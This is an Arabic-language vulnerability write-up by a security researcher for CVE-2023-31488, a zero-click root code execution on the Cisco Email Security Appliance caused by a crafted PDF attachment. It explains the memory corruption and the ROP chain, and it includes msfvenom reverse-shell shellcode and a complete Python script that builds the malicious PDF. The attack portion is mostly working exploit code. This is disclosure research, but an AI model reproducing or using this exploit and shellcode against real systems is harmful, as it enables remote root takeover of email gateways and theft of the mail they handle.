
جهاز أمان البريد الإلكتروني من Cisco: بريد إلكتروني إلى RCE بدون أي نقر بصلاحية الجذر - تنفيذ تعليمات برمجية عن بُعد/فساد ذاكرة/سلسلة ROP
باحث أمني: ly1g3، ly1g3[at]tuta.io
بصمة GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
نظرة عامة: البريد الإلكتروني إلى RCE بدون أي نقرة بصلاحيات الجذر - تنفيذ تعليمات برمجية عن بُعد / تلف الذاكرة / سلسلة ROP
CVE: CVE-2023-31488
الجدول الزمني:
أثناء تفحّي ثغرات Cisco Email Security Appliance (ESA)، اكتشفت ثغرة في Lexmark Perceptive Filters، التي يستخدمها ESA لتنقية بيانات مرفقات البريد الإلكتروني، مما يؤدي إلى RCE عبر البريد الإلكتروني. يحدث الانهيار عند تحليل مرفق PDF مُعدَّل. من خلال تغيير معرّف كائن PDF مكوّن من رقمين، على سبيل المثال:
مثال:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
تغيير جزء من المعرّف من 13 إلى قيمة أخرى (مثل مسافة) يؤدي إلى:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
يؤدي إرسال ملف PDF المُعدَّل هذا في بريد إلكتروني إلى Cisco ESA إلى انهيار بخطأ تجزئة في libISYSpdf6.so. يحدث الانهيار بسبب احتواء r14 على بيانات ASCII.
الفحص الدقيق يُظهر أن هذه البيانات تأتي من محتوى مرفق PDF الذي نتحكم فيه. قيمة r14 هي Rect.
![]()
اختبار عند تغيير Rect إلى AAAA.
بما أن قيمة r14 تُحمَّل من بيانات في ملف PDF، يمكننا تعديلها لتشير إلى عنوان ذاكرة صالح. بعد هذا التعديل، يحدث انهيار آخر بسبب بيانات غير صالحة في RAX. هذه البيانات هي أيضًا ASCII من ملف PDF.
نعدّل ملف PDF بحيث يشير rax أيضًا إلى عنوان فعلي ونكمل.

يحدث انهيار جديد؛ الآن يحتوي rsi على بيانات ASCII من ملف PDF.

نعدّل ملف PDF مرة أخرى لتحميل عنوان ذاكرة حقيقي.
أخيرًا، نصل إلى جزء مثير جدًا من الكود، حيث نتحكم في rdi، والذي يُستخدم لتحميل قيمة في rax. التعليمات الأخيرة في هذا التسلسل هي call rax. نحن الآن نحقق تقدمًا جيدًا نحو الحصول على قدرات تنفيذ تعليمات برمجية.
مرة أخرى نفتح المحرّر السداسي العشري ونعدّل القيمة المُحمَّلة في rdi.

الآن لدينا وسيلة لتنفيذ تعليمات برمجية محدود ويمكننا القفز إلى عنوان واحد. نظرًا لعدم وجود ASLR، فإن العثور على عناوين الذاكرة سهل. نتحكم أيضًا في rdi، وبالتالي نستخدم أداة ROP الأولية libISYSshared.so: push rdi; pop rsp; xor eax, لنقل rdi إلى rsp للتحكم في المكدس. نوجّه المكدس إلى منطقة نتحكم فيها في منطقة ذاكرة PDF مع مكدس مخصص مُجهّز بمزيد من أدوات ROP.

يتم وضع شيل كود عكسي (reverse shell) لنظام FreeBSD مولّد بواسطة msfvenom في منطقة ذاكرة PDF. ولكن نظرًا لأن الذاكرة غير قابلة للتنفيذ، يجب علينا أولاً جعلها قابلة للتنفيذ.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
نظرًا لأننا نتحكم في المكدس في هذه المرحلة، يمكن القيام بذلك عبر سلسلة ROP التالية لاستدعاء mmap لتعيين منطقة ذاكرة الشيل كود على أنها RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
بعد استدعاء mmap، سيقوم call rsp; بتنفيذ NOP-sled الخاص بالشيل كود الخاص بنا نظرًا لأن عنوان الشيل كود يلي ذلك في المكدس المخصص. الشيل كود هو شيل عكسي مولّد بواسطة msfvenom.
الشيء المثير للاهتمام هو أن هذا الكود يُنفَّذ قبل أي فحص ثابت لمكافحة الفيروسات، لذا فإن شيل metasploit العكسي القياسي سيعمل بشكل جيد.
يمكننا استخدام إثبات المفهوم (POC) أدناه لإنشاء PDF يعمل. بعد ذلك، نرسله فقط في بريد إلكتروني إلى ESA للحصول على RCE. راجع ثغراتي الأخرى لتصعيد الامتيازات.
وبهذا نحصل على شل عن بُعد على ESA:
كان هذا مشروعًا ممتعًا علّمني الكثير عن ثغرات تلف الذاكرة. كما يُظهر مدى جودة الحماية التي توفرها وسائل الحماية "الحديثة" للذاكرة مثل ASLR، ولكن أيضًا أنه لا يزال بإمكانك العثور على أنظمة بدون ASLR في الخارج.
هجوم تجاوز (overflow) على ESA (Cisco Secure Email). تنفيذ تعليمات برمجية عن بُعد بصلاحيات الجذر.
من خلال إرسال ملف PDF مصمم خصيصًا، يؤدي التجاوز إلى حصول المهاجم على تنفيذ تعليمات برمجية عن بُعد عشوائي على ESA والمنتجات الأخرى التي تستخدم Lexmark Perceptive Filters.
يسمح هذا الهجوم بالتجاوز للمهاجم بالسيطرة على تعليمات call rax، مما يجعل من السهل الانتقال إلى تنفيذ تعليمات برمجية عشوائية نظرًا لعدم استخدام ASLR على ESA. سيتم تنفيذ الكود بصلاحيات الجذر.
تأتي المشكلة من تحليل PDF في مكتبة libISYSpdf6.so من Lexmark وتنتج عن استدعاءات الدالة IGR_Open_File_Ex. يمكن تتبع هذه الدالة إلى دوال safeprint و image_analysis في AMP (الحماية المتقدمة من البرامج الضارة) ولكن من المحتمل أن يتم تشغيل الاستغلال عبر مسارات أخرى أيضًا.
Subtype/CIDFontType2/FontDescriptor. يمكن العثور على نموذج هنا https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
13 بقيمة أخرى (مثل مسافة) 1 مما يؤدي إلى:1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
إرسال ملف PDF إلى ESA مع تفعيل safeprint أو AMP image_analysis
يؤدي هذا إلى خطأ تجزئة (Segmentation Fault) في libISYSpdf6.so
// r14 is now user controlled and point to data in pdf
0x804d4ffc0 mov rax, QWORD PTR [r14+0x18]
// Call with controlled rax, start of ROP chain
0x804d50298: call rax
import sys
from pwn import *
message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf
For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
Change of pdf_data_base_address may be required.
ly1g3, ly1g3[at]tuta.io
"""
def insert_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
content.insert(at_address+i,addr[i])
def overwrite_at_address(content, at_address, address, bytes_to_write):
addr = p64(address)
for i in range(bytes_to_write):
index = at_address+i
content[index] = addr[i]
def overwrite_string_at_address(content, at_address, content_to_write):
for i in range(len(content_to_write)):
index = at_address+i
content[index] = content_to_write[i]
if len(sys.argv) < 3:
print(message)
sys.exit()
file_in = sys.argv[1]
file_out = sys.argv[2]
content = None
with open(file_in, "rb") as fi:
content = bytearray(fi.read())
pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20
pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00
# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
del content[rem_start]
# Insert address for r14
# at 0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384
address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)
# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0
#0x804e51fc0 mov rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)
#0x804e51fc4 add r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)
# 0x804e08536 mov rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)
# 0x804e52286 mov rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
# 0x804e52289 mov rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298 call rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)
# 0x804e5228d mov esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)
# $rdi will after this point to pdf_data_base_address can be used for rop chain
## ROP CHAIN
libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret;
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0;
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret;
first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)
second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)
stack=0x230
overwrite_at_address(content, stack, rop3,8)
rop_chain_start=0x238
from struct import pack
p = lambda x : pack('Q', x)
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)
rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
rop += buf
print(rop)
overwrite_string_at_address(content, rop_chain_start, rop)
# ROP Chain here
with open(file_out, "wb") as fo:
fo.write(content)